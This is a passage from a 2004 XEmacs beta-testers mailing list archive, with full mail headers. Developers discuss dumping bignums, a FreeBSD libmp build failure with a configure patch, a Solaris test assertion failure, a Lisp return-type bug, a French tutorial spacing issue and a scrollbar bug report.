problem: bignums, ratios, and bigfloats cannot currently >>> be dumped. I do not know how to fix that. Suggestions are >>> welcome. >> Why not dump their string representation and recreate them from >> it in the "fixup" stage of the dumper? Many complex objects, >> such as hash tables, go through a similar routine to reinvent >> themselves after the dumping. "Reinvent themselves", I like that. Jerry> I'm so ignorant when it comes to dumping that I didn't even Jerry> know that was possible. Okay, it sounds plausible, but I Jerry> don't know how to do it. Can you give me a (preferably Jerry> gentle) boost in the right direction? Olivier Galibert Kyle Jones Martin Buchholz FWIW, I don't think it makes sense to look at hash tables. Hash tables are extremely complex objects with internal Lispy structure. It makes a lot of sense that simply reinventing them is nearly as fast as any "wiring up" of the external (to the hash table) references would be. You should just treat a bignum as a blob of memory with an lrecord_header attached, or whatever, ie, an "opaque". These are structures defined by the MP library, and Lisp doesn't know what's in there, right? ISTR there are generic dumping techniques for "opaques", which should work fine in that case, since (Gödel numbering and fractal representations notwithstanding) there should be no external references in a bignum or bigfloat. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 7 00:33:24 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i374W1s21811; Wed, 7 Apr 2004 00:32:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i374ViT17556 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 00:31:44 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i374Vgk17215 for turnbull@tux.org; Wed, 7 Apr 2004 00:31:42 -0400 Received: from sccrmhc12.comcast.net (sccrmhc12.comcast.net [204.127.202.56]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i374Vfs17186; Wed, 7 Apr 2004 00:31:41 -0400 Received: from the-saint.the-saint.localdomain (pcp06945825pcs.nrockv01.md.comcast.net[69.138.30.56]) by comcast.net (sccrmhc12) with ESMTP id <20040407043140012002gr5re>; Wed, 7 Apr 2004 04:31:41 +0000 To: Jerry James Cc: XEmacs Beta Subject: Bignums, libmp and FreeBSD From: Kaarthik Sivakumar In-Reply-To: (Jerry James's message of "Mon, 05 Apr 2004 21:45:30 -0500") References: Date: Wed, 07 Apr 2004 00:34:22 -0400 Message-ID: <863c7g4d9t.fsf@comcast.net> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (chayote, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hi Jerry This is a long mail, sorry about that. I tried to compile your changes on FreeBSD 5.2RC2 and configure failed with this: --- [...lots of stuff...] checking for mp.h... yes checking for mp_mfree in -lmp... no checking for mfree in -lmp... no Error: Required MP numeric support cannot be provided. --- On FreeBSD, atleast the version I am using, -lcrypto is also needed for -lmp. A change to configure is needed, which I have put in this mail near the end; these changes are most likely NOT the exact ones - a check for FreeBSD might be necessary here, but I dont understand configure scripting enough to get that done. After these changes, I get: --- checking for mp.h... yes checking for mp_mfree in -lmp... no checking for mfree in -lmp... yes Prepending "-lmp -lcrypto" to $LIBS checking for move... yes Defining HAVE_MP_MOVE Defining WITH_NUMBER_TYPES Defining WITH_MP Defining HAVE_UNIX_PROCESSES --- which I think is good, right? But that is not the end of the problems. When I try to compile xemacs, I get the following error: --- cd ./src && make CC='gcc' CFLAGS='-Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -Wundef -Wstrict-prototypes -Wpacked -Wshadow -Wmissing-declarations -Wpointer-arith -g -O3' LDFLAGS='' CPPFLAGS='' all gcc -c -Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -Wundef -Wstrict-prototypes -Wpacked -Wshadow -Wmissing-declarations -Wpointer-arith -g -O3 -Demacs -I. -DHAVE_CONFIG_H -I/usr/local/include -I/usr/X11R6/include abbrev.c In file included from number-mp.h:37, from number.h:65, from lisp.h:3383, from abbrev.c:36: /usr/include/mp.h:20:16: macro "min" requires 2 arguments, but only 1 given /usr/include/mp.h:20: error: storage size of `min' isn't known *** Error code 1 Stop in /usr/home/programs/xemacs/21.5/src. *** Error code 1 Stop in /usr/home/programs/xemacs/21.5. --- There really is a function named min() in libmp, with a prototype in mp.h and the function takes only one argument. This obviously conflicts with a macro min defined in compiler.h. In number-mp.h, I tried to do the trick that you do for pow(): --- Index: number-mp.h =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/number-mp.h,v retrieving revision 1.1 diff -u -r1.1 number-mp.h --- number-mp.h 2004/04/05 22:49:56 1.1 +++ number-mp.h 2004/04/07 04:21:05 @@ -34,8 +34,10 @@ function anyway, so we do this for safety purposes. However, this means that number-mp.h must always be included before math.h. */ #define pow mp_pow +#define min mp_min #include #undef pow +#undef min #ifdef MP_PREFIX #define MP_GCD mp_gcd Exit 1 --- but this causes warnings all over the place about min() being redefined. I dont think this will work very well. But that is not the end of the problems either :) Compilation later on stops at: --- gcc -c -Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -Wundef -Wstrict-prototypes -Wpacked -Wshadow -Wmissing-declarations -Wpointer-arith -g -O3 -Demacs -I. -DHAVE_CONFIG_H -I/usr/local/include -I/usr/X11R6/include data.c In file included from number.h:65, from lisp.h:3383, from data.c:29: number-mp.h:37:1: warning: "min" redefined In file included from lisp.h:822, from data.c:29: compiler.h:42:1: warning: this is the location of the previous definition data.c: In function `Fminus': data.c:1419: warning: implicit declaration of function `get_number_type' data.c: In function `Fmax': data.c:1798: warning: label `retry' defined but not used data.c:1998:65: macro "make_int" passed 2 arguments, but takes just 1 data.c: In function `Flogand': data.c:1998: error: `make_int' undeclared (first use in this function) data.c:1998: error: (Each undeclared identifier is reported only once data.c:1998: error: for each function it appears in.) data.c: At top level: data.c:851: warning: `number_char_or_marker_to_int_or_double' defined but not used data.c:867: warning: `number_char_or_marker_to_double' defined but not used data.c:1218: warning: `digit_to_number' defined but not used *** Error code 1 Stop in /usr/home/programs/xemacs/21.5/src. *** Error code 1 Stop in /usr/home/programs/xemacs/21.5. --- data.c:1998 calls make_int with 2 arguments, which is wrong. But I am not sure why the compiler complains that make_int is undeclared. Thats where my compile currently stands. Sorry, I am not able to provide any patches, except for the configure bit. Hope this helps. This is my system: OS: FreeBSD the-saint 5.2-RC2 FreeBSD 5.2-RC2 #0: Sat Mar 13 20:37:02 EST 2004 kaarthik@the-saint:/usr/src/sys/i386/compile/THE-SAINT i386 gcc: Using built-in specs. Configured with: FreeBSD/i386 system compiler Thread model: posix gcc version 3.3.3 [FreeBSD] 20031106 kaarthik --- configure change --- Index: configure =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/configure,v retrieving revision 1.216 diff -u -r1.216 configure --- configure 2004/04/06 18:08:15 1.216 +++ configure 2004/04/07 04:02:22 @@ -15663,7 +15663,7 @@ echo "configure:15664: checking for mp_mfree in -lmp" >&5 ac_lib_var=`echo mp'_'mp_mfree | sed 'y%./+-%__p_%'` -xe_check_libs=" -lmp " +xe_check_libs=" -lmp -lcrypto " cat > conftest.$ac_ext <&5 ac_lib_var=`echo mp'_'mfree | sed 'y%./+-%__p_%'` -xe_check_libs=" -lmp " +xe_check_libs=" -lmp -lcrypto " cat > conftest.$ac_ext <&6 echo "configure:15753: checking for mp_move" >&5 @@ -15801,7 +15801,7 @@ fi elif test "$have_mfree" = "yes"; then - LIBS="-lmp $LIBS" && if test "$extra_verbose" = "yes"; then echo " Prepending \"-lmp\" to \$LIBS"; fi + LIBS="-lmp -lcrypto $LIBS" && if test "$extra_verbose" = "yes"; then echo " Prepending \"-lmp -lcrypto\" to \$LIBS"; fi echo $ac_n "checking for move""... $ac_c" 1>&6 echo "configure:15807: checking for move" >&5 --- From xemacs-beta-admin@xemacs.org Wed Apr 7 03:21:34 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i377K4s09678; Wed, 7 Apr 2004 03:20:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i377JX709555 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 03:19:33 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i377JVq09531 for turnbull@tux.org; Wed, 7 Apr 2004 03:19:31 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i377JRs09520; Wed, 7 Apr 2004 03:19:28 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BB7LJ-00066f-00; Wed, 07 Apr 2004 16:19:25 +0900 To: Jerry James Cc: XEmacs Beta Subject: Re: 21.5 Solaris 5.8 assertion failure in c-tests.el References: Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 07 Apr 2004 16:19:25 +0900 In-Reply-To: (Jerry James's message of "Tue, 06 Apr 2004 15:33:18 -0500") Message-ID: <87u0zwfe6a.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: Jerry> When doing a "make check" on an Ultrasparc Solaris 5.8 box, Jerry> I got an assertion failure in c-tests.el: Yeah, this is a known bug. Steve Y (inter alia) reported it many moons ago. I broke my head on it for a while, but it's a corner case somewhere in the Godforsaken EOL-handling code. I've been hoping Ben will reappear and it will fix itself out of fear of being megapatched (he's been threatening to come back in private correspondence, but he's got a life at the moment and that keeps getting in the way). /* &&#### needs some 8-bit work here */ DFC_CHECK_DATA (BUF_BYTE_ADDRESS (current_buffer, BUF_PT (current_buffer)), sizeof (int_foo) - 1, int_foo); Jerry> the contents of current_buffer are "\r\n\r\nfoo\r\nbar", Jerry> but int_foo is "\n\nfoo\nbar". Jerry> I'll attach the Installation file for this XEmacs. It is a Jerry> no-MULE build. I'll try MULE next. It won't happen under Mule. I was unable to figure out why it happens in an 8-bit XEmacs; it may simply be that the EOL-handler is incorrectly initialized. I guess I'll just have to trace it with a debugger (I've only acquired much skill with that fairly recently, which is why I didn't do it back when SY reported it). Jerry> Is there any way we can make those tests print the buffer Jerry> contents and the constant string they are comparing against Jerry> when they fail, rather than just reporting the assertion Jerry> failure? Is it worth it? I would think it would be easier, and more useful, to write GDB scripts to examine buffer contents in general if that's not already available. (Yeah, I'll buy the dramamine if you do the GDB coding.) In general, you are going to want to do this stuff from the debugger because the coding detection code is insanely complex. I think the problem is that in dfc_convert_to_internal_format() in text.c the coding system is considered binary (~ l. 3063), so no EOL conversion gets done. Back to debugging. To get further, I'm going to need to build a no-mule XEmacs, cause I recently trashed the one I had to recover some disk space. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 7 05:01:05 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37911s02745; Wed, 7 Apr 2004 05:01:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3790A502103 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 05:00:10 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37908j02054 for turnbull@tux.org; Wed, 7 Apr 2004 05:00:08 -0400 Received: from fats.esisar.inpg.fr (fats.esisar.inpg.fr [195.220.37.110]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37907s02035 for ; Wed, 7 Apr 2004 05:00:07 -0400 Received: from isar.esisar.inpg.fr (unknown [172.20.253.3]) by fats.esisar.inpg.fr (Postfix) with ESMTP id 26BE93FBD3 for ; Wed, 7 Apr 2004 11:01:33 +0200 (CEST) Received: from es0465 (unknown [172.20.4.110]) by isar.esisar.inpg.fr (Postfix) with ESMTP id B40EB6F44 for ; Wed, 7 Apr 2004 10:57:48 +0200 (MET DST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16499.49826.745365.301288@gargle.gargle.HOWL> Date: Wed, 7 Apr 2004 10:58:10 +0200 To: xemacs-beta@xemacs.org Subject: Mistakes in TUTORIAL.fr X-Mailer: VM 7.17 under 21.4 (patch 15) "Security Through Obscurity" XEmacs Lucid From: Reply-To: jlr_0@yahoo.com X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.8 required=5.0 tests=FORGED_YAHOO_RCVD,NO_REAL_NAME autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Command "M-e" moves forward to the end of a sentence. In order to be recognized as the end of a sentence, the ending period, question mark, or exclamation point must be followed by two spaces. Unfortunately, in the french tutorial no ending period is followed by two spaces. This makes the command "M-e" impossible to test although the french reader is invited to do so: >> Tapez quelques C-a et quelques C-e. Puis tapez quelques M-a et quelques M-e. Could it be that the tutorial's translator did not even test the tutorial himself? ---------------------------------------------------------------- Please avoid sending me Word or PowerPoint attachments. See http://www.fsf.org/philosophy/papadopoulos-response.html From xemacs-beta-admin@xemacs.org Wed Apr 7 05:23:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i379N1s07925; Wed, 7 Apr 2004 05:23:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i379MGl07776 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 05:22:16 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i379MFw07765 for turnbull@tux.org; Wed, 7 Apr 2004 05:22:15 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i379MEs07756 for ; Wed, 7 Apr 2004 05:22:14 -0400 Received: (qmail 9961 invoked from network); 7 Apr 2004 11:22:13 +0200 X-Remote-IP: 213.191.128.11 Received: from mx.iskon.hr (qmailr@213.191.128.11) by mxout2.iskon.hr with SMTP; 7 Apr 2004 11:22:13 +0200 Received: (qmail 23537 invoked from network); 7 Apr 2004 11:22:13 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 7 Apr 2004 11:22:13 +0200 To: "Stephen J. Turnbull" Cc: Jerry James , XEmacs Beta Subject: Re: [S21.5] Add bignums to FAQ References: <87zn9pppq5.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> From: Hrvoje Niksic Date: Wed, 07 Apr 2004 11:23:26 +0200 In-Reply-To: <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Wed, 07 Apr 2004 13:00:54 +0900") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" writes: > You should just treat a bignum as a blob of memory with an > lrecord_header attached, or whatever, ie, an "opaque". As long as we *know* that they don't contain pointers to heap-allocated data, this is fine. Do we know that? From xemacs-beta-admin@xemacs.org Wed Apr 7 06:07:21 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37A7Js18865; Wed, 7 Apr 2004 06:07:19 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37A6xU18781 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 06:06:59 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37A6vW18744 for turnbull@tux.org; Wed, 7 Apr 2004 06:06:57 -0400 Received: from kcte.net (kcte.net [199.239.248.2]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37A6vs18735; Wed, 7 Apr 2004 06:06:57 -0400 Received: from grendal (68-69-36-139.mgtnwv.adelphia.net [68.69.36.139]) (authenticated bits=0) by kcte.net (8.12.11/8.12.11) with ESMTP id i37A6odq026082 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 7 Apr 2004 06:06:51 -0400 (EDT) Date: Wed, 7 Apr 2004 06:06:44 -0400 (EDT) From: robert delius royar Reply-To: robert delius royar To: robert delius royar cc: Jerry James , XEmacs Beta List , XEmacs Patches Subject: Re: [AC21.5] New BIGNUM and union datatype In-Reply-To: Message-ID: References: Organization: An Apple OS X XEmacs missionary Priority: NEW Precedence: first-class MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: clamd / ClamAV version 0.67-1, clamav-milter version 0.67a X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Tue, 6 Apr 2004 about 23:27 -0400 UTC robert delius royar wrote: > With the patch I get through data.c and all the way to Fevenp and Foddp in > number,c before failing wiyh this set of errors: > number.c: In function `Fevenp': > number.c:129: error: incompatible types in return > number.c: In function `Foddp': > number.c:140: error: incompatible types in return > number.c: In function `internal_coerce_number': > number.c:516: error: incompatible types in return > make[1]: *** [number.o] Error 1 > make: *** [src] Error 2 Here are the offending functions: DEFUN ("evenp", Fevenp, 1, 1, 0, /* Return t if INTEGER is even, nil otherwise. */ (integer)) { CONCHECK_INTEGER (integer); return BIGNUMP (integer) ? bignum_evenp (XBIGNUM_DATA (integer)) : XTYPE (integer) == Lisp_Type_Int_Even; } DEFUN ("odd", Foddp, 1, 1, 0, /* Return t if INTEGER is odd, nil otherwise. */ (integer)) { CONCHECK_INTEGER (integer); return BIGNUMP (integer) ? bignum_oddp (XBIGNUM_DATA (integer)) : XTYPE (integer) == Lisp_Type_Int_Odd; } I am out of my element here but trying to use casts just to see what causes the error, leads to an odd compiler error, based on how the types are defined. Example (Lisp_Object)make_int((XTYPE (integer) == Lisp_Type_Int_Odd)); number.c:140: error: type mismatch in conditional expression Foddp is supposed to return a Lisp_Object. The compiler says that the type of XTYPE and Lisp_Type_Int_Odd are not the same, but they both appear to me to be Lisp_Type. Or perhaps they are just both members of the same Lisp_Type enum. Still, Lisp_Type is not valid for Lisp_Object and neither is the result from a comparison according to gcc3.3. I am able to compile and link without the BIGNUM support after last night's changes to CVS (and my removing --memory-usage-stats and --dynamic=yes from the compilation configuration). From xemacs-beta-admin@xemacs.org Wed Apr 7 08:33:36 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37CX1s21944; Wed, 7 Apr 2004 08:33:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37CWXj21821 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 08:32:33 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37CWWr21798 for turnbull@tux.org; Wed, 7 Apr 2004 08:32:32 -0400 Received: from mxout.iskon.hr (mxout.iskon.hr [213.191.128.10]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i37CWVs21784 for ; Wed, 7 Apr 2004 08:32:31 -0400 Received: (qmail 19963 invoked from network); 7 Apr 2004 14:32:28 +0200 X-Remote-IP: 213.191.128.7 Received: from pop.iskon.hr (qmailr@213.191.128.7) by mxout.iskon.hr with SMTP; 7 Apr 2004 14:32:28 +0200 Received: (qmail 29518 invoked by uid 802); 7 Apr 2004 14:32:28 +0200 Date: Wed, 7 Apr 2004 14:32:28 +0200 From: Hrvoje Niksic To: robert delius royar Cc: Jerry James , XEmacs Beta List , XEmacs Patches Subject: Re: [AC21.5] New BIGNUM and union datatype Message-ID: <20040407123228.GA8662@pop.iskon.hr> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Wed, Apr 07, 2004 at 06:06:44AM -0400, robert delius royar wrote: > Here are the offending functions: > DEFUN ("evenp", Fevenp, 1, 1, 0, /* > Return t if INTEGER is even, nil otherwise. > */ > (integer)) > { > CONCHECK_INTEGER (integer); > return BIGNUMP (integer) > ? bignum_evenp (XBIGNUM_DATA (integer)) >: XTYPE (integer) == Lisp_Type_Int_Even; > } The function returns a C boolean, whereas a DEFUN should return a Lisp_Object. You should change the return statement to something like: return ... ? Qt : Qnil; where "..." is the boolean expression used now. > number.c:140: error: type mismatch in conditional expression > Foddp is supposed to return a Lisp_Object. [...] > Still, Lisp_Type is not valid for Lisp_Object and neither is the result from > a comparison according to gcc3.3. The compiler was correct. :-) As explained above, the result from the comparison is a C boolean (in fact integer), which is decidedly not the same as a Lisp_Object. Jerry, I recommend that, as a developer, you always build with union type (except perhaps when profiling). Otherwise errors like this will keep cropping up. From xemacs-beta-admin@xemacs.org Wed Apr 7 09:47:09 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37Dl3s09540; Wed, 7 Apr 2004 09:47:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37Dk7U09395 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 09:46:07 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37Dk4S09386 for turnbull@tux.org; Wed, 7 Apr 2004 09:46:04 -0400 Received: from smtp2.kennedykrieger.org (smtp2.kennedykrieger.org [12.110.106.23]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i37Dk4s09382 for ; Wed, 7 Apr 2004 09:46:04 -0400 Received: from gwia.kki.org ([192.168.170.225]) by smtp2.kennedykrieger.org (SAVSMTP 3.1.0.29) with SMTP id M2004040709455205342 for ; Wed, 07 Apr 2004 09:45:52 -0400 Received: from godzilla.kennedykrieger.org [10.8.33.75] by gwia.kki.org; Wed, 07 Apr 2004 09:45:33 -0400 Received: from godzilla.kennedykrieger.org (localhost [127.0.0.1]) by godzilla.kennedykrieger.org (8.12.7/8.12.7) with ESMTP id i37DjYgU018505 for ; Wed, 7 Apr 2004 09:45:34 -0400 (EDT) Received: (from jgillen@localhost) by godzilla.kennedykrieger.org (8.12.7/8.12.7/Submit) id i37DjXtt018502; Wed, 7 Apr 2004 09:45:33 -0400 (EDT) Date: Wed, 7 Apr 2004 09:45:33 -0400 (EDT) Message-Id: <200404071345.i37DjXtt018502@godzilla.kennedykrieger.org> From: Joseph Gillen To: XEmacs Beta Subject: [Bug: 21.4.13] clicking below scroll bar slider moves to bottom of buffer X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , ================================================================ Dear Bug Team! Clicking below the scroll bar slider moves to end of buffer, shows blank screen, slider jumps to bottom of scrollbar and slider height compresses to mimimum size. If you click above the slider immediately after this, it jumps back to the prior location (not 1 window up from bottom). If you drag the slider after this, it's size remains compressed. Clicking above it or causing a scroll by moving in the buffer causes it to return to normal height. Other scroll bar functions: dragging, top & bottom arrows, clicking above slider - all work normally. Was previously running 21.1.14 which worked normally. Tried with Gnome 2.0 and Sun CDE desktop - same. ================================================================ System Info to help track down your bug: --------------------------------------- uname -a: SunOS godzilla 5.9 Generic_112233-08 sun4u sparc SUNW,Sun-Fire-880 /configure '--site-includes=/usr/local/include' '--site-libraries=/usr/local/lib' XEmacs 21.4.13 "Rational FORTRAN" configured for `sparc-sun-solaris2.9'. Compilation / Installation: Source code location: /godzilla/packages/xemacs-21.4.13 Installation prefix: /usr/local Additional header files: /usr/local/include Additional libraries: /usr/local/lib Runtime library search path: /usr/local/lib:/usr/dt/lib:/usr/openwin/lib Operating system description file: `s/sol2.h' Machine description file: `m/sparc.h' Compiler: cc -v -xO4 Relocating allocator for buffers: yes GNU version of malloc: yes Window System: Compiling in support for the X window system: - X Windows headers location: /usr/dt/include /usr/openwin/include - X Windows libraries location: /usr/dt/lib /usr/openwin/lib - Handling WM_COMMAND properly. Compiling in support for the Athena widget set: - Athena headers location: X11/Xaw - Athena library to link: Xaw Using Lucid menubars. Using Lucid scrollbars. Using Athena dialog boxes. Using Athena native widgets. TTY: Compiling in support for ncurses. Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Sound: Compiling in support for sound (native). Databases: Compiling in support for GNU DBM. Compiling in support for LDAP. Internationalization: Mail: Compiling in support for "dot-locking" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for ToolTalk. Compiling in support for dynamic shared object modules. Load-Path Lisp Shadows: ---------------------- (/usr/local/lib/xemacs/xemacs-packages/lisp/ps-print/ps-print /usr/local/lib/xemacs/xemacs-packages/lisp/ps-print-nomule/ps-print /usr/local/lib/xemacs/xemacs-packages/lisp/build/build-report /usr/local/lib/xemacs-21.4.13/lisp/build-report) Installed XEmacs Packages: ------------------------- (zenirc ver: 1.15 upstream: 2.112) (xslt-process ver: 1.11 upstream: regular) (xemacs-devel ver: 1.61 upstream: No-Upstream-Ver) (xemacs-base ver: 1.84 upstream: No-Upstream-Ver) (w3 ver: 1.29 upstream: 4.0pre47) (vm ver: 7.18 upstream: 7.17) (viper ver: 1.37 upstream: 3.09) (view-process ver: 1.13 upstream: 2.4) (vhdl ver: 1.18 upstream: 3.31.20) (vc-cc ver: 1.22 upstream: No-Upstream-Ver) (vc ver: 1.38 upstream: No-Upstream-Ver) (tpu ver: 1.14 upstream: 4.2X) (tooltalk ver: 1.15 upstream: No-Upstream-Ver) (tm ver: 1.37 upstream: No-Upstream-Ver) (time ver: 1.14 upstream: 1.17) (textools ver: 1.15 upstream: No-Upstream-Ver) (text-modes ver: 1.73 upstream: No-Upstream-Ver) (texinfo ver: 1.25 upstream: No-Upstream-Ver) (supercite ver: 1.2 upstream: 3.55x3) (strokes ver: 1.1 upstream: No-Upstream-Ver) (speedbar ver: 1.27 upstream: 0.14beta4) (sounds-wav ver: 1.12 upstream: No-Upstream-Ver) (sounds-au ver: 1.12 upstream: No-Upstream-Ver) (slider ver: 1.15 upstream: 0.3x1) (sh-script ver: 1.18 upstream: 2.0e) (sgml ver: 1.11 upstream: No-Upstream-Ver) (semantic ver: 1.18 upstream: 1.4.2) (scheme ver: 1.14 upstream: No-Upstream-Ver) (rmail ver: 1.14 upstream: No-Upstream-Ver) (reftex ver: 1.33 upstream: 